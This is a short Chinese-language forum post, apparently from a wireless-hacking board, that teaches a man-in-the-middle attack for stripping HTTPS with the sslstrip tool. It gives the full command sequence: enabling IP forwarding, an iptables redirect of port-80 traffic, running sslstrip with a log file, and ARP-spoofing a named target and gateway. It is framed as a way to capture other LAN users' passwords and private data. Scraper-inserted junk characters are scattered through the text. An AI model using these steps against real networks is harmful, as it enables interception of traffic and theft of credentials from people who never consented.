少校
- 注册时间
- 2008-7-29
- 金币
- 623 个
- 威望
- 86 个
- 荣誉
- 25 个
尚未签到
|
无线渗透--从外网到内网系列之中间人攻击外传--拿下HTTPS.
. O5 W2 k9 P' N0 h* G2 [6 R( }1 N& f% ?& ]
强烈建议不明OpenSSL, MITM attack为何物的朋友,先看无线渗透--从外网到内网系列之中间人攻击(http://forum.anywlan.com/thread-17045-1-1.html),对MITM attack有了一定了解后在读本文. :) 正如杨哲在文中提到进行中间人攻击可以使得攻击者更有效地截获内网用户的密码及隐秘信息。在BackTrack环境下使用EtterCap or ArpSpoof工具即可. 但Ettercap支持的协议中, 在大部份情况下对仅HTTP、FTP、Telnet、SMTP等以明文传输的协议有效. 对HTTPS这样用了最新OpenSSL版本的就没办法了..... 直到刚在US举行的black hat 2009会上,一老黑发布的名为sslstrip的software,变像的解决了此问题.- n/ n' a( a3 o5 _% B
9 `6 J) n; M8 t( ^4 m. r此软件可在(http://www.thoughtcrime.org/software/sslstrip/index.html)找到. E文ok的朋友还可以看他在Black hat上的精彩演讲. 因sslstrip是用python写成,不用安装也可运行.! n, r/ K1 Z; E, e, [% \. k3 ?
- D' G6 }( F k; \
用法分为以下几步:
7 ^4 o& D7 D* u, a& K; q
0 m! a F" z# \( G: U( e7 [9 t! Q1) 用命令 echo "1" > /proc/sys/net/ipv4/ip_forward 将你的机子进入forwarding mode.
" x( o* u; L& E
- `: e3 ^, w/ S J |2) 用命令 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 使iptables把所有http数据导入sslstrip.
. @6 E/ b% a( z N. i
7 E6 K1 [3 x: k! G% ?1 h2 _3) 运行 sslstrip -a -w ssllog (写入文本): Z( I& Z; B2 ?' q+ X
+ u, w3 @( F" v
4) 运行 arpspoof -i eth0 -t 192.168.1.15 (目标) 192.168.1.1 (网关)
9 _) e% J& |. _" r- ~" _4 `3 G0 ?: ]* z3 V& t
接下来就耐心等待吧! ;) 要提下的是生成的log文件如ssllog其实是html格式的.用konquer可以打开,这样连目标在看的网页面也一清二楚了. 以上均在自个的LAN和BT3下测试完成. 此文是小弟头一回发贴,有不对之处还请大狭们都指正! :); g0 |/ v# h) Y2 M
& z$ e2 o0 U) L+ V' H+ Q& ^/ J6 c4 tPrisoner |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?注册
x
评分
-
1
查看全部评分
-
|